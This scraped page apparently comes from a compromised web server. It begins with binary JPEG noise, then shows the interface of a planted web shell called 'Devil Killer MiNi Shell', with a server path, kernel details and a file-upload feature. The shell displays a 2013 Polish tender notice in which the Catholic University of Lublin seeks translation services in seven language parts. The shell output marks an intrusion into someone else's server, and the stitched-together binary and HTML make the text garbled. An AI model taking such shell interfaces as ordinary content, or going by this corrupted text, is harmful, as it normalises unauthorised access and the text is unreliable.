JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20130910/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20130910/183089-N-2013.html

<p class="kh_header"><b>Lublin: Usługa tłumaczeń pisemnych specjalistycznych tekstów naukowych na potrzeby Katolickiego Uniwersytetu Lubelskiego Jana Pawła II w Lublinie</b><br>
<b>Numer ogłoszenia: 183089 - 2013; data zamieszczenia: 10.09.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Katolicki Uniwersytet Lubelski Jana Pawła II , Al. Racławickie 14, 20-950 Lublin, woj. lubelskie, tel. (81) 445 41 59, faks (81) 445 41 63.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> http://bip.kul.lublin.pl/postepowania-zgodnie-z-ustawa-pzp,16320.html</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Koscielna szkoła wyższa o pełnych prawach publicznych szkół wyższych.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Usługa tłumaczeń pisemnych specjalistycznych tekstów naukowych na potrzeby Katolickiego Uniwersytetu Lubelskiego Jana Pawła II w Lublinie.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiot zamówienia stanowi sukcesywne świadczenie usług tłumaczeń pisemnych specjalistycznych  tekstów naukowych na potrzeby Katolickiego Uniwersytetu Lubelskiego Jana Pawła II w Lublinie z podziałem na części:

-Część 1 - świadczenie usługi tłumaczenia pisemnego tekstów na/z język arabski na potrzeby Wydziału Prawa, Prawa Kanonicznego i Administracji KUL, zgodnie z Załącznikiem nr 1a do SIWZ;
-Część 2 - świadczenie usługi tłumaczenia pisemnego tekstów  na/z  język angielski na potrzeby Wydziału Filozofii KUL, zgodnie z Załącznikiem nr 1b do SIWZ;
-Część 3 - świadczenie usługi tłumaczenia pisemnego tekstów na/z język francuski na potrzeby Wydziału Filozofii KUL, zgodnie z Załącznikiem nr 1c do SIWZ;
-Część 4 - świadczenie usługi tłumaczenia pisemnego tekstów na/z język angielski na potrzeby Wydziału  Teologii KUL, zgodnie z Załącznikiem nr 1d do SIWZ;
-Część 5 - świadczenie usługi tłumaczenia pisemnego tekstów na/z język angielski na potrzeby Wydziału  Nauk Humanistycznych KUL, zgodnie z Załącznikiem nr 1e do SIWZ;
-Część 6 - świadczenie usługi tłumaczenia pisemnego tekstów na/z język rosyjski na potrzeby Wydziału  Nauk Humanistycznych KUL, zgodnie z Załącznikiem nr 1f do SIWZ;
-Część 7 - świadczenie usługi tłumaczenia pisemnego tekstów na/z język ukraiński na potrzeby Wydziału  Nauk Humanistycznych KUL, zgodnie z Załącznikiem nr 1g do SIWZ;

Teksty do przetłumaczenia w częściach 1-7 obejmują zakresy tematyczne opisane w Załącznikach 1a-1g do SIWZ, ich treść stanowi specjalistyczna terminologia w opisanych zakresach tematycznych..</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 7.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek posiadania uprawnień do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania oceniony zostanie na podstawie Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Za spełniających warunek wiedzy i doświadczenia w niniejszym postępowaniu zostaną uznani Wykonawcy, którzy w okresie ostatnich 3 lat przed upływem terminu składania ofert w postępowaniu, a jeżeli okres działalności jest krótszy - w tym okresie, wykonali należycie co najmniej :
-w Części 1 - usługę/usługi polegającą na wykonaniu co najmniej 20 stron obliczeniowych tłumaczeń i/lub weryfikacji tłumaczeń z języka arabskiego na język polski i/lub z języka polskiego na język arabski o tematyce  prawnej. 

-w Części 2 - usługę/usługi polegającą na wykonaniu co najmniej 200 stron obliczeniowych tłumaczeń i/lub weryfikacji tłumaczeń z języka angielskiego na język polski i/lub z języka polskiego na język angielski o tematyce filozoficznej. 

-w Części 3 - usługę/usługi polegającą na wykonaniu co najmniej 30 stron obliczeniowych tłumaczeń i/lub weryfikacji tłumaczeń z języka francuskiego na język polski i/lub z języka polskiego na język francuski o tematyce  filozoficznej.

-w Części 4 - usługę/usługi polegającą na wykonaniu co najmniej 300 stron obliczeniowych tłumaczeń i/lub weryfikacji tłumaczeń z języka angielskiego na język polski i/lub z języka polskiego na język angielski o tematyce  teologicznej. 

-w Części 5 - usługę/usługi polegającą na wykonaniu co najmniej 400 stron obliczeniowych tłumaczeń i/lub weryfikacji tłumaczeń z języka angielskiego na język polski i/lub z języka polskiego na język angielski o tematyce  humanistycznej.

-w Części 6 - usługę/usługi polegającą na wykonaniu co najmniej 50 stron obliczeniowych tłumaczeń i/lub weryfikacji tłumaczeń z języka rosyjskiego na język polski i/lub z języka polskiego na język rosyjski o tematyce  humanistycznej.

-w Części 7 - usługę/usługi polegającą na wykonaniu co najmniej 20 stron obliczeniowych tłumaczeń i/lub weryfikacji tłumaczeń z języka ukraińskiego na język polski i/lub z języka polskiego na język ukraiński o tematyce  humanistycznej.

Poprzez stronę obliczeniową tekstu Zamawiający rozumie 1800 znaków (w tym spacje i akapity) tekstu po przetłumaczeniu.

Za główne usługi uznaje się w każdej z części usługi niezbędne do wykazanie spełniania warunku wiedzy i doświadczenia, tj. usługi wskazane powyżej.

Warunek posiadania wiedzy i doświadczenia oceniony zostanie na podstawie: 
- w Części 1 - Wykazu wykonanych głównych usług, stanowiącego Załącznik nr 6a do SIWZ, dowodów potwierdzających należyte wykonanie tych usług oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 2 - Wykazu wykonanych głównych usług, stanowiącego Załącznik nr 6b do SIWZ, dowodów potwierdzających należyte wykonanie tych usług oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 3 - Wykazu wykonanych głównych usług, stanowiącego Załącznik nr 6c do SIWZ, dowodów potwierdzających należyte wykonanie tych usług oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 4 - Wykazu wykonanych głównych usług, stanowiącego Załącznik nr 6d do SIWZ, dowodów potwierdzających należyte wykonanie tych usług oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 5 - Wykazu wykonanych głównych usług, stanowiącego Załącznik nr 6e do SIWZ, dowodów potwierdzających należyte wykonanie tych usług oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 6 - Wykazu wykonanych głównych usług, stanowiącego Załącznik nr 6f do SIWZ, dowodów potwierdzających należyte wykonanie tych usług oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 7 - Wykazu wykonanych głównych usług, stanowiącego Załącznik nr 6g do SIWZ, dowodów potwierdzających należyte wykonanie tych usług oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.

Dowodami potwierdzającymi, czy usługi zostały wykonane (lub są wykonywane) należycie są:
-poświadczenie- zgodne z Rozporządzeniem Prezesa Rady Ministrów z dnia 19 lutego 2013 r. w sprawie rodzaju dokumentów, jakich może żądać zamawiający od wykonawcy oraz form, w jakich te dokumenty mogą być składane, potwierdzające należyte wykonanie usługi, 
-oświadczenie wykonawcy - jeżeli z uzasadnionych przyczyn o obiektywnym charakterze wykonawca nie jest w stanie uzyskać poświadczenia, o którym mowa powyżej. Jeśli wykonawca składa oświadczenie, powinien podać przyczyny braku możliwości uzyskania poświadczenia.

Uwaga!
W postępowaniach o udzielenie zamówienia publicznego wszczętych w okresie 12 miesięcy od dnia wejścia w życie Rozporządzenia Prezesa Rady Ministrów z dnia 19 lutego 2013 r. w sprawie rodzaju dokumentów, jakich może żądać zamawiający od wykonawcy oraz form, w jakich te dokumenty mogą być składane - wykonawca w miejsce poświadczeń, o których mowa w §1 ust.2 pkt 1 w/w rozporządzenia, może przedkładać dokumenty potwierdzające należyte wykonanie dostaw lub usług oraz wykonanie robót budowlanych zgodnie z zasadami sztuki budowlanej i ich prawidłowe ukończenie, określone w §1 ust.1 pkt 2 i 3 rozporządzenia Prezesa Rady Ministrów z dnia 30 grudnia 2009 r. w sprawie  rodzaju dokumentów, jakich może żądać zamawiający od wykonawcy oraz form, w jakich te dokumenty mogą być składane (Dz. U. Nr 226, poz. 1817).

W przypadku, gdy Zamawiający (Katolicki Uniwersytet Lubelskie Jana Pawła II) jest podmiotem, na rzecz którego usługi wskazane w Wykazie głównych usług zostały wcześniej wykonane, wykonawca nie ma obowiązku przedkładania dowodów potwierdzających czy usługi  te zostały wykonane (lub są wykonywane) należycie.
W razie konieczności, szczególnie gdy wykaz usług lub dowody potwierdzające czy usługi zostały wykonane (lub są wykonywane) należycie budzą wątpliwości zamawiającego, zamawiający może zwrócić się bezpośrednio do właściwego podmiotu, na rzecz którego usługi były wykonane, o przedłożenie dodatkowych informacji lub dokumentów bezpośrednio zamawiającemu.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek dysponowania odpowiednim potencjałem technicznym oceniony zostanie na podstawie Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Za spełniających warunek dysponowania osobami zdolnymi do wykonania zamówienia w niniejszym postępowaniu zostaną uznani Wykonawcy, którzy dysponują osobami zdolnymi do wykonania zamówienia tj.:
- w Części 1 - min. 1 tłumaczem pisemnym języka arabskiego, posiadającym wymagane wykształcenie, kwalifikacje zawodowe i doświadczenie. 
Tłumacz pisemny języka arabskiego musi:
a)posiadać tytuł magistra odpowiedniej filologii lub ukończone studia podyplomowe z zakresu tłumaczeń w języku arabskim  oraz minimum 3 lata (od ukończenia w/w studiów) doświadczenia w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 100 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka arabskiego na język polski i/lub z języka polskiego na język arabski  tekstów o tematyce prawnej;
lub
b)posiadać wykształcenie wyższe oraz minimum 5 letnie doświadczenie w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 200 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka arabskiego na język polski  i/lub z języka polskiego na język arabski tekstów o tematyce prawnej.

- w Części 2 - min. 1 tłumaczem pisemnym języka angielskiego, posiadającym wymagane wykształcenie, kwalifikacje zawodowe i doświadczenie. 
Tłumacz pisemny języka angielskiego musi:
a)posiadać tytuł magistra odpowiedniej filologii lub lingwistyki stosowanej lub ukończone studia podyplomowe z zakresu tłumaczeń w języku angielskim oraz minimum 3 lata (od ukończenia w/w studiów) doświadczenia w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 100 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka angielskiego na język polski i/lub z języka polskiego na język angielski  tekstów o tematyce  filozoficznej;
lub
b)posiadać wykształcenie wyższe oraz minimum 5 letnie doświadczenie w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 200 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka angielskiego na język polski  i/lub z języka polskiego na język angielski tekstów o tematyce filozoficznej.

- w Części 3 - min. 1 tłumaczem pisemnym języka francuskiego, posiadającym wymagane wykształcenie, kwalifikacje zawodowe i doświadczenie. 
Tłumacz pisemny języka francuskiego musi:
a)posiadać tytuł magistra odpowiedniej filologii lub ukończone studia podyplomowe z zakresu tłumaczeń w języku francuskim oraz minimum 3 lata (od ukończenia w/w studiów) doświadczenia w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 100 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka francuskiego na język polski i/lub z języka polskiego na język francuski  tekstów o tematyce  filozoficznej;
lub
b)posiadać wykształcenie wyższe oraz minimum 5 letnie doświadczenie w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 200 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka francuskiego na język polski  i/lub z języka polskiego na język francuski tekstów o tematyce  filozoficznej.

- w Części 4 - min. 2 tłumaczami pisemnymi języka angielskiego, posiadającymi wymagane wykształcenie, kwalifikacje zawodowe i doświadczenie. 
Tłumacz pisemny języka angielskiego musi:
a)posiadać tytuł magistra odpowiedniej filologii lub ukończone studia podyplomowe z zakresu tłumaczeń w języku angielskim oraz minimum 3 lata (od ukończenia w/w studiów) doświadczenia w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 100 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka angielskiego na język polski i/lub z języka polskiego na język angielski  tekstów o tematyce  teologicznej;
lub
b)posiadać wykształcenie wyższe oraz minimum 5 letnie doświadczenie w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 200 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka angielskiego na język polski  i/lub z języka polskiego na język  angielski tekstów o tematyce  teologicznej.


- w Części 5 - min. 2 tłumaczami pisemnymi języka angielskiego, posiadającym wymagane wykształcenie, kwalifikacje zawodowe i doświadczenie. 
Tłumacz pisemny języka angielskiego musi:
a)posiadać tytuł magistra odpowiedniej filologii lub ukończone studia podyplomowe z zakresu tłumaczeń w języku angielskim oraz minimum 3 lata (od ukończenia w/w studiów) doświadczenia w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 100 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka angielskiego na język polski i/lub z języka polskiego na język  angielski  tekstów o  tematyce  humanistycznej;
lub
b)posiadać wykształcenie wyższe oraz minimum 5 letnie doświadczenie w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 200 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka angielskiego na język polski  i/lub z języka polskiego na język angielski tekstów o  tematyce  humanistycznej.

- w Części 6 - min. 1 tłumaczem pisemnym języka rosyjskiego, posiadającym wymagane wykształcenie, kwalifikacje zawodowe i doświadczenie. 
Tłumacz pisemny języka rosyjskiego musi:
a)posiadać tytuł magistra odpowiedniej filologii lub ukończone studia podyplomowe z zakresu tłumaczeń w języku rosyjskim oraz minimum 3 lata (od ukończenia w/w studiów) doświadczenia w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 100 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka rosyjskiego na język polski i/lub z języka polskiego na język  rosyjski  tekstów o tematyce  humanistycznej;
lub
b)posiadać wykształcenie wyższe oraz minimum 5 letnie doświadczenie w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 200 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka rosyjskiego na język polski  i/lub z języka polskiego na język rosyjski tekstów o  tematyce  humanistycznej.

- w Części 7 - min. 1 tłumaczem pisemnym języka ukraińskiego, posiadającym wymagane wykształcenie, kwalifikacje zawodowe i doświadczenie. 
Tłumacz pisemny języka ukraińskiego musi:
a)posiadać tytuł magistra odpowiedniej filologii lub ukończone studia podyplomowe z zakresu tłumaczeń w języku ukraińskim oraz minimum 3 lata (od ukończenia w/w studiów) doświadczenia w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 100 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka ukraińskim na język polski i/lub z języka polskiego na język  ukraiński  tekstów o tematyce  humanistycznej;
lub
b)posiadać wykształcenie wyższe oraz minimum 5 letnie doświadczenie w tłumaczeniu pisemnym tekstów, w tym wykonanych min. 200 stron obliczeniowych tłumaczenia i/lub weryfikacji z języka ukraińskiego na język polski  i/lub z języka polskiego na język ukraiński tekstów o  tematyce  humanistycznej.


Warunek dysponowania osobami zdolnymi do wykonania zamówienia oceniony zostanie na podstawie:
- w Części 1 - Wykazu osób uczestniczących w realizacji zamówienia, stanowiącego Załącznik nr 7a do SIWZ oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 2 - Wykazu osób uczestniczących w realizacji zamówienia, stanowiącego Załącznik nr 7b do SIWZ oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 3 - Wykazu osób uczestniczących w realizacji zamówienia, stanowiącego Załącznik nr 7c do SIWZ oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 4 - Wykazu osób uczestniczących w realizacji zamówienia, stanowiącego Załącznik nr 7d do SIWZ oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 5 - Wykazu osób uczestniczących w realizacji zamówienia, stanowiącego Załącznik nr 7e do SIWZ oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 6 - Wykazu osób uczestniczących w realizacji zamówienia, stanowiącego Załącznik nr 7f do SIWZ oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.
- w Części 7 - Wykazu osób uczestniczących w realizacji zamówienia, stanowiącego Załącznik nr 7g do SIWZ oraz Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek dotyczący sytuacji ekonomicznej i finansowej oceniony zostanie na podstawie Oświadczenia Wykonawcy - zgodnie z art. 22 Ustawy PZP - o spełnianiu warunków udziału w postępowaniu, stanowiącego Załącznik nr 4 do SIWZ.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">potwierdzenie posiadania uprawnień do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania, w szczególności koncesje, zezwolenia lub licencje;</li>

<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
